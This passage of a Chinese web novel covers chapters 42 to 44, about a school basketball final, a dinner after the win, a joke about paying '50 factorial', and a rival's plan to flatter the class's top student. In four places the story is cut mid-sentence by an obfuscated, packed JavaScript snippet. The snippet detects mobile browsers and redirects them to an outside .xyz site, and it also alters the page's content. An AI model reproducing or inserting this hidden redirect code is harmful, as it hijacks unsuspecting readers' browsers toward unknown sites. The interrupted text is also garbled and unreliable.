“小鱼,”蒋小胖用手锤着后背,摇了摇头,“我一口气打了两节,实在是打不动了。接下来就看你的了!” 纪小鱼握拳锤了锤自己的胸口,“没问题!” 蒋小胖开心地笑了,眉飞色舞地继续举报道,“刚才B班那个11号抢了我的球,还笑我!” “没事,”纪小鱼保证道,“一会我们笑回他!” 徐帆也赶紧说,“其实老刘打得还挺好,让他上吧,我替补。” 突然被夸奖了的刘子杉:“我、我一定会加油的!” “好,”何非亮微微颔首,“不过说明一点,尽量避免和B班的人直接对抗,防守端以干扰为主,不要硬碰硬,一定保护好自己,不要受伤……” 何非亮事无巨细地讲解着防守的要点,直到比赛的哨声再次吹响。 “小鱼,”踏入球场的一瞬间,何非亮突然回头,眸光里,冷霜白雪消融,不再是冰凉的荒野,也不再是暮冬的夜色,“我们联手。” 纪小鱼愣了愣,恍惚间从那一点明亮亮的笑意中,参透出了些许云淡风轻的郑重、和像被风吹来的温柔,鬼使神差地点头回了声,“好。” - 第三节开始。 由B班在底线发球进行进攻。 好巧不巧,球落在了B班的11号手里。 就是他、就是他! 纪小鱼眼睛一亮,侧身闪过防守,外加一个斜冲拉近距离,重心微低,干净利索地一拽,把球抢了过来,然后迅速开溜。 非常精彩的抢断! 解说赶紧给了纪小鱼一个特写镜头,在一旁添油加醋地开着玩笑,“观众朋友们,敬请收看——霸道小鱼带球跑!诶?他停下来了,他回头了!哦,我们可以看到他的脸上带着邪魅的笑,他——呃,他大笑了起来!” “哈哈哈哈哈哈!”纪小鱼一边拿着球,一边朝蒋小胖招手,“小胖,快快快,一起笑!” “哈哈哈哈哈!”蒋小胖笑得见牙不见眼,兴高采烈地拍起了手——朋友们,谁懂啊,这种笑回去的感觉真的太爽了! 蒋小胖的笑声好像有魔性,很快就在周围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057570|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的观众旁传播了开来。 “哈哈哈哈!” “哈哈哈哈哈哈!” 此起彼伏的笑声不一会儿就响彻了半个篮球场。 B班篮球队的队员先是惊愕,继而脸上都挂下几道黑线,然而嘴角偏偏控住不住地上扬——不是吧?这又是什么鬼战术啊!好不礼貌哦!但是——不知道为什么,自己也好想笑哦!哎呦,救命啊,这个笑声绝对有毒!哎呦,肚子好酸哦!哈哈哈哈哈! 场面一时混乱。 正笑着,纪小鱼觉得自己手里一空。 诶!? 何非亮把球给抢了! 在毫无有效防守的情况下,何非亮运着球,趁着混乱,轻轻松松地一个上篮,把球稳稳地送进了篮筐。 25:41! “犯规、犯规!”B班篮球队的队长大板牙气得大叫。 啊?犯规了吗?小裁判也很苦恼,这种情况怎么判啊——没学过啊!啊,难道,在这个冷漠的世界里,笑也是一种过错吗?唉! 一番商量以后,最终判了纪小鱼和蒋小胖一人一个技术犯规。 B班得到了两次罚球的机会,以及随后的球权。 大板牙投球技术还不错,两罚两中,比分又回到了25:43! B班的优势继续保持! 张朝捏紧扇柄的手这才放松了些,满意地点了点头。 哎呀,这么严格的吗? 纪小鱼撇了撇嘴。 算了,咱也不亏——反正是帮小胖笑回他们了! 这样想着,又立马心平气和了下来。 比赛继续。 场外记者社的小同学也没闲着,拿着话筒就开始采访起来了,“同学你好,请问你是哪个班的?” “我是D班的。” “那么,对于最后的冠军,A班和B班你支持哪一个?” “A班。” “能问问为什么吗?” D班的小同学诚恳地回答道,“输给冠军队比较没那么丢脸啰。” “哦~”记者社的小同学心领神会地点头,“原来是这样!” 记者社的小同学转身去采访另一位小同学,“同学你好,请问你是哪个班的?” “我是E班的。” “哦~”凭借着刚才得来的经验,以及E班出乎意料输给B班的惨痛事实,记者社的小同学自信地推理道,“那你一定更支持B班啰?” “不啊,我更支持A班。” “啊?为什么?” “因为何非亮好帅啊!啊!!!” 现场像突然被引爆了,一瞬间变得又燃又炸。 被采访的小同学直接叫破了音,激动得声线都有些颤抖,“看到了吗?看到了吗?三分啊!超远距离的三分啊!何非亮真的好帅啊!” 比分再次刷新—— 28:43! “等等!等等!”张朝狠狠掐了一把自己的大腿,“不可能吧?我没看错吧?刚才是纪小鱼助攻的何非亮?这、这不科学!他、他不要自己出风头了?他要让何非亮出这个风头?” 不科学的事情又接连发生了好几次。第三节,A班凭借着以纪小鱼和何非亮为核心的三分战术直接起飞,高效率地拉回了比分。 50:50! 一节之内,从足足18分的差距,到双方战平。 感觉……也没有很难。 纪小鱼和何非亮相视一笑。 42.第四十二章 大吃一顿 音乐华丽地奏向终章。 谁不想迎来胜利、披上霞光? 谁不想加冕荣耀、登基为王? 哨声吹响。 最后十分钟,倒计时开始。 在场观众的心好像都被高高地悬了起来,随着篮球的起落传递,晃荡、晃荡。 加油声排山倒海。 何非亮游刃有余地闪过重重夹攻,身法时而凌厉,时而飘逸,骤然又不顾眼前的防守,卡着三分线一个急停跳投,然后从容转身,和赶上来助攻的纪小鱼击掌庆祝。 (〃 ̄︶ ̄)人( ̄︶ ̄〃) 行云流水,一气呵成! 球在身后,划过一道完美的弧线,稳稳砸入篮网。 53:50! 第四节开局不到一分钟,A班便“稳、准、狠”地实现了逆风翻盘,成功赶超比分! “啊啊啊啊,何非亮真的好帅哦!” “天呐,刚才那是什么神操作啊!这身手66666!完全不给对面机会啊!” “救命,这也太好磕了吧!” “何非亮他还是人吗?是人吗?他是额滴神呐!” 现场直接炸翻天,掌声、尖叫、欢呼、呐喊,不亚于一场小型的演唱会。 何非亮好像自然而然地就汇集了所有的目光,成为了球场上当之无愧的焦点。 “喂,”纪小鱼有点酸又有点爽,“何非亮你很嚣张诶!” “那下一个球换你嚣张?” “这还差不多。” 纪小鱼的唇角忍不住偷偷向上弯了弯,难得的,对何非亮的提议颇为满意。 哎呦喂,怎么办,想想还有点小激动呢!嘿嘿嘿~( ̄▽ ̄)" 只可惜,另一边,张朝早已没有了吹风喝水的雅兴,他紧盯着球场,目光像积雨云一般逐渐阴沉。 阴云的正中心,正是——何!非!亮! 可恶……都走到这一步了,真的很难不在意。 这世界上有很多的学问在教人怎样成功,可是却好像没有太多的学问教人面对失败——或者说的确有很多教人面对失败的学问,只是往往不够讨喜,因而总是不能流行。 所谓“不甘心”,就是这样一种感觉吧,心里面总有一个耿耿不能释怀的声音在挣扎,在问——凭什么?凭什么输的人是我,凭什么? B班的队员们的心也悠悠地沉了下去,咸咸的汗水不安分地落入眼眶,模糊了视线。 再一次的轮到B班持球,这一次的进攻,B班的队员都不约而同地多带了几分狠劲。 纪小鱼急着“嚣张”一把,从斜后方跳出来想要截断B班的进攻,却不料持球的大板牙也恰逢此时欲要举球投射。电光石火一瞬间,纪小鱼鼻尖一凉,险些迎面撞上大板牙横扫而来的肘击。 哇! 不是吧? 救命啊! 呼,好险好险,闪过了! 一个利落的后仰,纪小鱼堪堪躲过了呼啸而来的肘击。正打算松一口气时,又一个巨大的身影朝他所在的方向横冲直撞了过来。 完了完了,这个,好像……哎呦,躲不掉!!! 身体的“闪避”技能还没冷却好呢! 啊啊啊啊,这真是太可怕了!!! 在这千钧一发之际,纪小鱼僵硬的身体凭借着自己的本能和极强的求生意志,做出了反应,那是他最后的挣扎,也是他最后的倔强——他当机立断地架起手臂,试图护住自己帅气的脸。 然而,胳膊才刚抬起一半,他就被狠狠地向后一拽,踉跄了好几步才勉强站稳。 诶诶诶!? 唔……我没事? 一片哗然间,纪小鱼小心翼翼地睁开眼睛,转头看见了何非亮冰凉的侧脸。 “何、何非亮?” 何非亮却用眼神示意他往前看。 这一看不得了——只见那个预要撞上来的大个子,脚好像刹不住车,直接往球场外冲了出去。观赛的同学们东奔西逃,忙不迭地给他让出了一条通道,只可惜坐在摇椅上的张朝比较倒霉,来不及躲闪…… “嗷~~” 呃,这画面……有点不忍直视了。 观众:“啊,这……” 纪小鱼倒吸了一口冷气:“啊,张、张兄……” 唉,这就是传说中的“飞来横祸”吧!的确是令人猝不及防、防不胜防!张兄真是太可怜了! 纪小鱼好心地走上前,把倒在上面的大个子扶了起来。 “张兄,”纪小鱼眨了眨眼睛,关切地问道,“你没事吧?” 摇椅的质量不错,看上去没散架,应该是比较结实、牢固的那种。 就是不知道张兄的质量怎么样,够不够结实了。 裁判一声尖锐的哨响,“怎么回事,怎么回事?” 大个子坚持地发出了腐朽的声音,“地板很滑!” 地板:“……” …… 一番混乱以后,B班的大个子和张朝被七手八脚地架去医务室了,去的途中正好遇上了被搀扶着、一跳一跳蹦着回来的吕天明。 吕天明大奇:“呦呵!怎么还有比我更惨的?” 大个子:“……” 张朝:“……” 比赛终于又重新开始。不过,经此一波,B班的队员都有点阵脚大乱,新上的替补也显得很不在状态。接连的几个失误下来,B班还没打到最后关头,就有了点偃旗息鼓的意味。 A班队员差不多差不多地礼貌性放了点水,让B班的没有输得那么难看。 67:61! 比赛结束的哨声吹响,再无悬念——A班,总冠军!!! “教练万岁!”A班篮球队的队员们齐齐围上来欢呼。 “诶!”纪小鱼在一旁上蹿下跳,努力地刷着自己的存在感,“我也很关键的!” 但纪小鱼的声音才刚一发出就被残忍地淹没了。一群人迅速地涌了上来,扛摄影机的扛摄影机,举话筒的举话筒,他们强硬地挤过纪小鱼,把何非亮一整个团团包围住了。 “何非亮同学,你好!请问可以给你做一个简单的赛后采访吗?上半场结束后,A班的比分足足落后B班18分,面对这样比较大的差距,请问你当时的心态是什么样子的?又是如何调整的呢?” “还好。” “哦哦,心态其实还好吗?也是,A班在本轮比赛中一路战胜各大强队,想必自信心也在胜利中不断得到了增强。那么,在本轮比赛当中,请问你认为你遇到最强的对手是谁呢?能详细说说吗?” “纪小鱼。” “啊?不、不好意思,可能我没说清楚,我刚才问的是最强的对手。” “嗯,”何非亮矜持地点头,“他老抢我球……还挺厉害的。” 像抓住了些什么一样,小记者连忙四处张望,寻找纪小鱼的身影—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061545|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪,刚才好像还看见他了,还从他旁边挤过去了…… 然而纪小鱼早已气鼓鼓地远远坐回了选手席,和吕天明有一搭没一搭地聊着天。 “老吕,你怎么样了?” “我饿了!” “哈?”纪小鱼瞅了瞅吕天明敷着冰棍的脚踝,“我是说——” “哦!我的心情呢,那就是激动!我的伤势呢,那就是惨重!”吕天明说着就摇了摇头,缓了缓,又感慨道,“太惨了!我大概一个星期,都只能用另一只脚跳着走了。但我真的伤心不起来,我真的太高兴了!我们是冠军诶!冠军诶!” “好兄弟!”吕天明抹着太过激动而飙出来的眼泪,“今晚必须去大吃一顿!” “对!大吃一顿!”纪小鱼恶狠狠地握拳,“让何非亮请客!” - 华灯初上,一伙人浩浩荡荡地往香喷喷烤肉店走去。 “好兄弟,”吕天明一瘸一拐地和纪小鱼并肩吊在队伍的最后,“你在听什么歌啊?” “啊?”纪小鱼被吓得连连摆手,“没什么、没什么!” “让我也听听呗!”吕天明拍了拍胸膛,“你别看我这样,我其实是一个音乐爱好者!” “我随便点到的,”纪小鱼艰难地咽了口唾沫,连忙把声音暂停了,耳机也摘了放在口袋里,“一点也不好听!真的!” “那我看看你的歌单?” “不、不了。” “不要不好意思嘛,我们可是好兄弟啊!”吕天明热络地把自己的手机递了过来,“我也把我的歌单给你看!” “我、我、我……”纪小鱼面如土色,连说话都变得结巴了,“真、真不行!对、对不起啊!” “好吧。” 吕天明讪讪地缩回了手,嘴上是妥协了,脸上却露出了特别沮丧、特别难过、好像受伤小狗的那种表情,可怜兮兮的。 纪小鱼觉得自己要哭了——但是他能给吕天明看吗?真不能! 救命,他歌单里全是清一色的《新概念英语》、《VOA常速英语》《TED英语演讲》、《BBC新闻》!咳,这绝不是因为他没有艺术细菌,而是因为英语考试足足占了150分!150分呐! 不过,不管怎么说,这个歌单要是一经曝露,他以后还有脸混吗?不可能有了吧? 强者从来不夸耀,卷王自古爱偷学——这都是它的有道理所在的。 好在几盘烤肉上来,大家热热闹闹地你说我笑,这个小插曲就好像被风吹散了一样。 说真的,这个香喷喷烤肉店的食物真的好吃绝了! 腌制过的新鲜牛羊肉串,放在炭炉架上,涮上一层薄油,翻烤至外焦里嫩、肉香四溢,再撒上一点盐巴、一点孜然、外加上一点辣椒面,趁热端出,就着欢声笑语,囫囵咬上一口,简直是一种不可思议的美味、一种说不出来的享受! 就连酸辣白菜这样一道听起来很简单的菜,都炒得又香又入味。醋溜的酸、干椒的辣、白糖的甜、酱汁的咸,相互交织、相辅相成、相得益彰,这样的好味道再配以脆爽的嫩白菜为底,十成十的下饭之王!才一会儿就被一扫而空了。 再来上一口可乐,气泡在唇齿间愉快地打着滚…… “干杯!”大家端着可乐一饮而尽,“我们是冠军!!!” 纪小鱼一时觉得,没有比这个更幸福的夜晚了。 是一种,闪闪发亮的开心。 43.第四十三章 不可思议 回家的路上,晚风微醺。 月色在天,树影在地。 大家都住在不同的地方,走着走着,长长的街道上,就只剩了纪小鱼和何非亮的两道相互交织的影子。 “小鱼,我救了你。”何非亮眨了眨眼睛,明示道,“你是不是忘记v我了?” 哦? 纪小鱼摸着下巴,回想起自己的蓝牙名称——“体育馆舞台幕布后地下室,救救小鱼,诚信v50!” 啊咧,好像是有这么一回事…… 额呵呵呵呵,蓝牙名好像还忘记改了……丢死人了,现在马上改!!! 一边改,一边在心里吐槽—— 哇,不是吧,何非亮这个人还真是斤斤计较诶!明明大家都是一起来的,你看我的小弟卓影说什么了吗?没有!他一个每天琢磨着怎么赚钱的人都没提这件事好吧!就这个小气的何非亮每天惦记着这些有的没有的。 啊,50,你比30多20! 啊,50,能换取多少知识! 足足可以买两本厚厚的真题呢! 不行,绝不能牺牲买题的钱!俗话说得好——再穷不能穷教育! 那就是——这学期剩下的日子,恐怕都没钱喝可乐了…… 嘤嘤嘤…… “好吧,好吧。”一言既出,驷马难追,做人要讲诚信。虽然很无奈、很不舍、很肉痛,但纪小鱼还是勉为其难地答应了,掏出手机准备扫码付钱。 “给你抹个零,付我3乘10的64次方就好了。” “啊?”纪小鱼有点懵,“什……什么?” “你说的是v50,50的后面还有感叹号,所以是50的阶乘,对吧?” 哈? 阶乘!? 数学里,一个正整数的阶乘是所有小于及等于该数的正整数的积。自然数n的阶乘写作n!,所以,按照如上定义—— 50!= 1×2×3……×49×50 ≈ 3.0414×10^64 什么呀!这个钱一万亿辈子也还不起吧??? 噫!子又生孙,孙又生子,子子孙孙,无穷无尽,而债还不清也!未免太过凄惨! 纪小鱼脑海中不经浮现出他衣衫褴褛、手捧破碗、沿街乞讨、与狗争食的凄惨场景。他赶紧甩了甩头,把这一副不详的画面甩出脑海。 呸呸呸,神经病啊,何非亮他怎么敢哦!一开口就说这么一个天文数字! 呃,说是天文数字,宇宙中有这么多星星吗?有吗? 何非亮怎么不上天呢! 他在想什么哦! 在纪小鱼开口痛骂之前,何非亮及时开口,“不过呢,10的64次方又被叫做‘不可思议’,那么你送我三个不可思议的礼物就可以了,怎么样?” “不可思议”,作为一个计数单位,出自元代朱世杰的《算学启蒙》,表示10的64次方。 纪小鱼挠了挠头。 三个不可思议的礼物? 那说不定不用花钱呢!!! 还有这种好事? “成交!”纪小鱼爽快的答应了。 …… 夜渐深。纪小鱼洗好澡,舒舒服服地躺在床上。温暖的被子裹在身上,再偷摸拿出手机。 四下寂静,屏幕的光映亮了脸。篮球赛的一幕幕像放电影一般在脑海中闪过。 哈利皮特: 高手兄,今天的我勇夺冠军!!! :-p: 很强。 哈利皮特: 不过是篮球的~ :-p: 篮球的也很好。 哈利皮特: [呲牙][呲牙][呲牙] 哈利皮特: 关于上次说的“知己知彼”的战术,我也已经有了一定的心得(^▽^) :-p: 哦?说来听听。 哈利皮特: 根据这些天我对他的了解,他呢,的确是有两把刷子的 哈利皮特: 其中一把呢,就是他这个人,确实还是有一点小聪明在的,观察比较仔细,做事比较细心 哈利皮特: 另一把呢,就是他会那什么“照相机记忆法”。唉,这个我一时还揣摩不透,实在惭愧 :-p: 知人者智,自知者明。 :-p: “知己知彼”,不仅讲求“知彼”,也需要“知己”。 :-p: 你有你独特的长处。 对哦!一想到“知己知彼”,就自然而然地把重心放在了“了解对方”上,而高手兄却提醒道,还需要多多关注一下自己。 难怪高手兄作文也写得好!这个“知己知彼”假如出成一篇议论文,自己这样有失周全的考虑,岂不是一开始就要从立意上扣分? 纪小鱼搔了搔脸,对着手机屏幕傻乐了起来,感觉自己又学到了。 哎呀哎呀,怎么说呢,真是一语惊醒梦中人!我好像还从来没有深挖过自己的长处呢! 一直以来都太过肤浅,只关注到了自己长相帅气的事实。其实肯定还有更多、更多、更多的长处吧! 哈利皮特: 好像懂了o(* ̄▽ ̄*)o :-p: 不早了,睡吧。 哈利皮特: 晚安~ :-p: 晚安。 - 周末匆匆过去,日子逐渐平息。 星期一,照例是上课、下课、写作业。 本着“以人为鉴”的精神,纪小鱼戳了戳蒋小胖,虚心地请教道,“小胖啊,你觉得我都有些什么长处?嗯,不用说太多,就挑一两个特别突出的夸吧。” 蒋小胖刚打算开口,纪小鱼突然想到了高手兄提到的是“独特的长处”,连忙补充说明道,“是那种何非亮没有,我有的那种长处。” 蒋小胖思考了一下。 蒋小胖又思考了一下…… 蒋小胖死机重启中…… “呃……”蒋小胖支支吾吾地说,“苏格拉底曾经说过,‘每个人的身上都有太阳’。” “诶,”纪小鱼连连点头,“他说的很有道理!”——所以,那个我身上的太阳是什么呢? 蒋小胖摇头晃脑,继续道,“苏格拉底还说过,‘我只知道一件事,就是我什么都不知道’。” 纪小鱼:“……” “你说的这个长处肯定是有的!”蒋小胖诚恳地眨了眨眼睛,“只是我最近刚好对学神哥哥的滤镜特别强大。你容我再想想?” “好吧。”小胖都这么说了,纪小鱼也只好“静候佳音”了。 “诶,小胖,”纪小鱼忍不住又问,“你咋知道那么多苏格拉底说过的话啊?” “哦,”蒋小胖捧起手里一本硬壳精装、厚实得仿佛能砸死一头大象的《古今中外名家语录大全》,“这不,这周四就要月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068123|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考了,我在积累名人名言当作文素材呢!刚好就看到了‘苏格拉底篇’。” “啊?月考!?” 这周四!? 纪小鱼死机重启中…… 惨了,这个月好像有点玩过头了…… 只能靠16倍速刷题来弥补了!!! …… 下午的时候,按照赛制,B班作为决赛的败方对阵D班,大概元气未复,最终遗憾落败。至此,篮球赛正式告一段落。 古诗词单元也上完了,于是今天的语文作业便是,每人写一首小诗。 写诗? 写诗我擅长啊! 稍加思索,纪小鱼便胸有成竹地提笔悬于纸上,唇角勾起一丝冷笑。 笔走龙蛇—— 【 同桌 [现代] 纪小鱼 同桌姓何名非亮, 本人姓纪名小鱼。 我和他比输文采, 他和我比逊风骚。 】 诗是写好了,可纪小鱼却皱起了眉头,总觉得有哪里不太对。 瞅瞅坐在旁边、安然自得的何非亮,又瞅瞅自己行云流水、一笔挥就的小诗。 到底是哪里不对呢? 推敲来,推敲去—— 哦~ 原来是标点符号不对! 【 同桌 [现代] 纪小鱼 同桌姓何名非亮, 本人姓纪名小鱼。 我和他比输文采? 他和我比逊风骚! 】 这样就对了! 顺眼多了! 好诗!好诗! 想必我独一无二的长处,就是我的才华、我的文采、我的风骚吧! 纪小鱼满意地欣赏着自己的作品,突然听见耳畔传来一声轻笑。 何非亮的目光不知什么时候,也晃晃悠悠地落在了他的本子上。只一眼,眼角眉梢就染了笑。 好吧,对于这种颇为自得的作品,纪小鱼从来是不吝于与人共赏的。 于是他也不介意,反而大大方方地把作业本展示给何非亮看,“怎么样,这诗写得?” 何非亮弯了弯眼,笑道,“写得可太好了!” “有没有一种不可思议的感觉?” “非常之不可思议!” “那这首诗送你了,算作是一件不可思议的礼物哦!” “好。” 何非亮欣然笑纳。 嘿呀,这么容易就送出去了一件! 写诗又不用钱!而且我张口就来,提笔就写! 纪小鱼美滋滋地掰着手指头盘算,这不比给50块划算多了! 我真是个勤俭持家小能手! 哦呵呵呵呵! 第二天,语文作业发下来,很遗憾,纪小鱼的大作只得了一个“B+”——其中那个“+”号还显得格外的勉强,小小的添在右上角。 明显顿笔的墨痕出卖了老师打分时思来想去的纠结,大概此诗是真的不太好评。 批注是简单的八个字——“诗意不错,只是不押韵。” “啊,这……”纪小鱼尴尬地摸了摸鼻尖。 嗐!写诗就非要押韵不可么? “喂,这首诗不是已经送给你了吗?”纪小鱼理直气壮地把作业本往何非亮面前一推,强买强卖,“所以这个B+也是给你的!” 何非亮:“……” 44.第四十四章 你是表弟 学习,充实而有光辉。 正在疯狂刷题的纪小鱼,笔尖和纸都擦出火星了,因而身上的的确确地发出了强光。 是走过路过的同学,都要震惊地说一声“啊,好刺眼!”,并且捂着眼睛站开一点的程度。 只有一名同学例外,他走过来,拍了拍纪小鱼的肩膀,神神秘秘地开口道—— “外面有人找。” “哦,好。” 纪小鱼正写到兴头上,闻言也只好依依不舍地刹住了手里的笔,信步走出教室。 东瞅瞅,西看看—— 彼时正是傍晚放学时分,同学们吃饭的吃饭、回宿舍的回宿舍,要不就安静地在教室里自习。漫长的走廊上只剩了茫茫一片夕阳,和远远走在夕阳里的几个人影,并不像有人等着找他的样子。 “谁啊,”纪小鱼有点懵,一时怀疑自己是不是写题写猛了、写出现幻觉了,“谁找我?有人找我吗?” “纪兄,”刚才拍他肩膀的同学突然在纪小鱼身后开口,“你先回头看看?” “诶,张兄!?” 原来,刚才叫他出教室的,不是别人,正是张朝! “正是在下。冒昧打扰,实在是有事相商。”张朝清了清嗓子,露出了一点不自然的微笑,“纪兄,过眼滔滔,不过云雾。篮球赛已经结束,想来我们又可以站在同一条阵线对付何非亮了……” 停顿了一下,见纪小鱼神色无异,张朝又继续缓缓开口道,“你看,现在呢,就有这么一个绝好的契机摆在眼前……” “你是说——”纪小鱼脑海中灵光一现,脱口而出道,“月考?” “不错!不过,不仅仅是这一次月考,还有下一次的月考,之后每一次的考试……”张朝冷笑一声,目光更加幽深,“S中的第一,都这么久了,也该易主了。” 纪小鱼连连点头——对啊对啊,风水轮流转,这个S中的第一名,也该换我来当一当了吧!哎呦,这泼天的富贵怎么还能搞垄断呢,是不是?多不好啊! “张兄,”纪小鱼也有点期待地搓起了手,“可有良策?” “有的有的。纪兄,且听我徐徐道来。”张朝一副自信满满的样子,摇头晃脑外加手舞足蹈道,“根据这几天的潜心研究,我已掌握了大自然的规律。那就是——物极必反,盛极必衰!所以呢,欲使人摔之,则先捧其于高位;捧得越高,摔得越惨!此计名为‘捧杀’是也,兵不血刃,杀人于无形之中!哦豁!” “张兄,你这个说得,未免有点玄……” “玄之又玄,众妙之门[1]!” “咳,那你能,具体一点吗?” “具体一点,那就是你得去夸他——要夸出高度、夸出水平,夸得他骄傲、夸得他膨胀、夸得他飘起来!然后,他就会败给自己的内心,再然后,天道自会收拾他!” 张朝一边奸笑着,一边潇洒凌厉地比划了一个“做掉”的手势,简直是越解释越对自己的计策感到无比的满意——对啊,就是要去夸他,夸得他飘飘欲仙、目无下尘;就是要去捧他,捧得他高高在上、自命不凡。待他得意、待他忘形,然后自己,坐看好戏! “啊,要我去夸何非亮!?”纪小鱼连连摆手拒绝,“不可能、不可能!夸是不可能夸的,这辈子都不可能夸的!夸谁也不可能夸何非亮啊!” 说完,纪小鱼转身就要走。 张朝连忙追上去,“纪兄,别啊,成大事者不拘小节!这招绝对有用,你就信我一次!正所谓,‘用兵之道,攻心为上’[2]……” 纪小鱼心如止水,完全没有要回头的意思。 张朝极力挽留,“一罐可乐!” 纪小鱼内心毫无波澜,根本不为所动。 张朝咬牙加价,“一罐可乐……一句!” 什么!一罐可乐夸一句!? 纪小鱼眼睛骤然一亮,脚步一个急刹。忽如一夜春风来,立马又变得笑容满面了。 “成交!” 那么问题来了,天气越来越凉了。 冬天喝冰可乐会不会有点冷? 不会! 纪小鱼给出了自己的答案—— 真男人从不畏惧冬天喝冰可乐! …… 太阳下班了。 去另一个半球度假了。 教室里却慢慢热闹起来,同学们逐渐都回到了教室,准备上晚自习。 何非亮有一下没一下地翻着杂志,今天是看的是《Incredible history》,讲世界历史的,插图精美,此时正停留在秦始皇陵兵马俑的那一页。 纪小鱼张了张嘴,却什么声音也没能发出来。 沉吟几番,欲言又止。 酝酿许久,欲说还休。 “小鱼,”何非亮微微抬头,目光从杂志转向纪小鱼,“你是不是有话要说?” “呵呵呵,我想说,何非亮,你好……” 后面那个表示赞美的“帅”字被纪小鱼硬生生地吞了回去。 实在是说不出口啊! 何非亮用看傻子的目光在纪小鱼身上来来回回地扫视了好几遍,脸上浮现出了近乎同情的神色,好半晌,才终于礼貌地回应道,“纪小鱼,你好。” 说完,便要收起杂志,拿出本数学题准备写。 “别啊!”纪小鱼一把按住何非亮就要翻开数学练习册的手,“你看这些东西干什么呢?反正你肯定都会了,再看不是浪费时间吗?哦,不只是时间,还有你的一些,比如那个容貌啊、身材啊、美好的品德啊,甚至是灵魂都会被毁了的。” 被纪小鱼按住的手轻轻地颤动了一下。 沉默了一会,何非亮才犹疑地开口道,“那我看物理?” “物理你不也会了嘛?” 何非亮眨了眨眼睛,试探地问道,“就——查漏补缺、温故知新?” “好吧,”何非亮说得很有道理,纪小鱼一时也不好反驳,只好硬挤出一个殷勤的笑,“那在你看之前,我先夸夸你。” “啊?”何非亮愣了愣,忽而笑了,“你是不是想要我陪你玩?” “也不是,”纪小鱼尴尬地抬起手,用手指蹭了蹭鼻尖,“就是单纯地想夸夸你。” “那你……夸?” “呃……” 正所谓——夸起自己,如同喇叭;夸起对家,如同哑巴! 那怎么办呢? 只能把对家当作自己来夸了! 噢,看在可乐的份上!┗|`O′|┛ 纪小鱼牙一咬、心一横,鼓起勇气,脱口而出,“本是仙界状元郎,如今竟然坐我旁。琴棋书画皆精通,天文地理都擅长。呃,都擅长……” 纪小鱼老脸一红,自己先卡壳说不下去了。 救命啊,实在是太羞耻了! 微微凝固住的空气里,何非亮矜持地打破了沉默,“你——夸完了吗?” “诶,你、你等我一下!”纪小鱼尴尬地清了清嗓子,“我再、再酝酿一会!” “哦。”何非亮琢磨似的看着纪小鱼,眼底泛起欲看好戏的涟漪。 唉,箭在弦上,不得不发!事到如今,似乎也没有更好的办法了!纪小鱼一咬牙——要不、要不就把想说的话唱出来吧! 对,唱出来,感觉就比单纯说出来,显得不那么丢脸了! 说唱就唱,纪小鱼脑海里自动浮现出了歌词。 啊咧,竟然还是粤语版的—— “ Only you 人又叻又靓仔 Only you 能驱我弃自由 Only you 能折服我 否则我一生孤寂冇对手 只有你咁劲 就是only you[3] …… ” 一曲未了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073482|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何非亮温热的手心已覆上了纪小鱼的额头,“奇怪,没发烧啊……” “哦~”何非亮像骤然醒悟了什么一样,好奇又专注地仔细打量着纪小鱼,突然没头没尾又斩钉截铁地来了一句,“你是表弟!” “哈?”这下轮到纪小鱼一脸懵了。 “我记得小鱼有个表弟叫做小帅,他挺崇拜我的。”何非亮眼微弯,一点玩味又狡黠的笑意像水墨一样悄然晕开在眼眸里,“呵呵,就是你吧。” 小帅?纪小帅? 啊,救命,死去的记忆复活了,变成丧尸围攻过来了! 纪小鱼强自镇静,按捺住嘴角的抽搐,决定暂且先静观其变。 “你们两个长得挺像的。”何非亮似乎还饶有兴味地拉起了家常,“怎么今天是你来上晚自习?小鱼呢,玩去啦?” 纪小鱼:“……” “你别拘谨。”何非亮竟然套起近乎来了,“我和你表哥很熟的,大家都是朋友。” “哦,是吗?”纪小鱼阴阳怪气道,“想必是那种非常非常塑料的友谊吧?哦呵呵呵呵!” 